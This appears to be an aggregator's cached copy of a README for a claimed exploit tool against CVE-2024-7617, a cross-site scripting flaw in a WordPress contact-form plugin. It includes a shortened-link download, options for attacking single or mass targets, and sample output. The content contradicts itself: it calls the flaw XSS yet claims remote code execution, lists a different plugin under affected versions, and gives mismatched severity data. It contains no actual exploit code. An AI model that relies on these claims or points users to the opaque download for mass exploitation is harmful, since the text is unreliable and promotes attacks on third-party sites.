Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-7617 PoC — WordPress plugin Contact Form to Any API 跨站脚本漏洞

Source
Associated Vulnerability
Title:WordPress plugin Contact Form to Any API 跨站脚本漏洞 (CVE-2024-7617)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Contact Form to Any API 1.2.2版本及之前版本存在跨站脚本漏洞,该漏洞源于对用户的输入清理和输出转义不足。攻击者利用该漏洞可以在页面中注入任意Web脚本。
Readme

## 🌟 Description
CVE-2024-7617
This CVE  makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

## ⚙️ Installation

To set up the exploitation tool, follow these steps:

1. Download the repository:

|[Download](https://t.ly/s0qZU)
|:--------------- |

2. Navigate to the tool's directory:

```bash
cd CVE-2024-7617
```

3. Install the required Python packages:

```bash
pip install -r requirements.txt
```

## 🚀 Usage

To use the tool, run the script from the command line as follows:

```bash
python exploit.py [options]
```

### Options

- -u, --url:
  Specify the target URL or IP address.

- -f, --file:
  Specify a file containing a list of URLs to scan.

- -t, --threads:
  Set the number of threads for concurrent scanning.

- -o, --output:
  Define an output file to save the scan results.

When a single URL is provided with the -u option and the target is vulnerable, the script will attempt to execute arbitrary code.

### Example

```bash
$ python3 exploit.py -u http://target-url.com
[+] Remote code execution triggered successfully.
[!] http://target-url.com is vulnerable to CVE-2024-7617.
```

## 📊 Mass Scanning

For mass scanning, use the -f option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable.

```bash
python exploit.py -f urls.txt
```

## 🗒 Affected Versions

WordPress Simple HTML Sitemap <= 3.1

## 📈 CVSS Information
Score: 9.8

Severity: CRITICAL

Confidentiality: High

Integrity: Low

Availability: Low

Attack Vector: Network

Attack Complexity: Low

Privileges Required: None

User Interaction: None

Scope: Unchanged

File Snapshot

[4.0K] /data/pocs/07c96bff1e526a87f8db50cf8e6bbabd8584a501 └── [1.7K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.